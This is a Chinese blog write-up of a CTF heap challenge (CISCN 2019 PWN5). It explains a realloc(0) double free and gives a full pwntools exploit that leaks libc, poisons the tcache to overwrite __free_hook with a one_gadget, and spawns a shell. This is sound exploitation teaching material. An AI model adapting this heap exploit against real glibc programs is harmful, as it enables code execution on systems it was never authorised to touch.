pwn--realloc [CISCN 2019东南]PWN5

首先学习一下realloc这个函数,以下是文心一言的解释:

realloc是C语言库函数之一,用于重新分配内存空间。它的主要功能是调整一块内存空间的大小。当需要增加内存空间时,realloc会分配一个新的更大的内存块,然后将原内存块的内容复制到新块中,并释放原内存块;当需要减少内存空间时,realloc会尝试将内存块的大小减少到新的大小,并返回调整后的内存块地址。

realloc函数的原型为:void* realloc(void* ptr, size_t size); 其中,ptr是指向之前分配的内存块的指针,size是要分配的新内存块的大小(以字节为单位)。如果ptr为NULL,则realloc函数的行为与malloc函数相同;如果size为0,则realloc函数会释放由ptr指向的内存块。realloc函数的返回值是指向新分配的内存块的指针。如果分配成功,则返回值不为NULL;如果分配失败,则返回NULL。

提取关键点:分配更大的内存时会先释放原chunk,当size为0时,会释放ptr。这是不借助free函数的释放,不会将指针清空,可以用来构造doublefree。

还有一个知识点:

在程序中,我们请求了一个大小为0的堆块。

但通过gdb调试发现,堆块大小为0x20,也就是说malloc(0),malloc(8)和malloc(0x10)效果其实是一样的,由于fd指针和bk指针,一个chunk的大小至少是0x20。

有了以上两个知识点,让我们进入下面这道题:

delete之后会把指针清空。没办法uaf。也不存在堆溢出。这该怎么办呢。

发现edit有realloc函数,恍然大悟!

这里补充一点,低版本,至少libc 2.27及以下当你从unsortedbin分配一个堆块时,不会把fd和bk指针清空,可以利用这个泄露Libc基址,至少libc 2.31及以上会把这两个区域清空。

以下是exp:

from pwn import *
context.arch='amd64'
elf=ELF('./pwn')
libc=ELF('./libc-2.27.so')
io=remote('node5.anna.nssctf.cn',24158)
#io=remote('pwn.challenge.ctf.show',28284)
#io=process('./pwn')

def add(size,content='a'):
    io.recvuntil(b"Your choice:")
    io.sendline(b'1')
    io.recvuntil(b"size?>")
    io.sendline(str(size).encode())
    io.recvuntil(b"content:")
    io.send(content)

def delete(idx) :
    io.recvuntil(b"Your choice:")
    io.sendline(b'4')
    io.recvuntil(b"Index:")
    io.sendline(str(idx).encode())

def show(idx):
    io.recvuntil(b"Your choice:")
    io.sendline(b'3')
    io.recvuntil(b"Index:")
    io.sendline(str(idx).encode())

def edit(idx,content) :
    io.recvuntil(b"Your choice:")
    io.sendline(b'2')
    io.recvuntil(b"Index:")
    io.sendline(str(idx).encode())
    io.recvuntil(b"New content:")
    io.send(content)

add(0x410)#0
add(0x10)#1
delete(0)
add(0x410,b'a'*5+b'b'*3)#0
show(0)
io.recvuntil(b'bbb')
usbin=u64(io.recv(6).ljust(0x8,b'\x00'))
print('usbin:',hex(usbin))
#gdb.attach(io)
#pause()
malloc_hook=usbin-0x70
libc_base=malloc_hook-libc.sym['__malloc_hook']
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
print('free_hook:',hex(free_hook))
print('system:',hex(system))
add(0)#2
delete(1)
io.recvuntil(b"Your choice:")
io.sendline(b'2')
io.recvuntil(b"Index:")
io.sendline(b'2')
delete(2)
one_gadget=libc_base+0x4f302
add(0x10,p64(free_hook))#1
#gdb.attach(io)
#pause()
add(0x10,p64(one_gadget))#2
add(0x20,b'/bin/sh\x00')#3
delete(3)
io.interactive()

  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值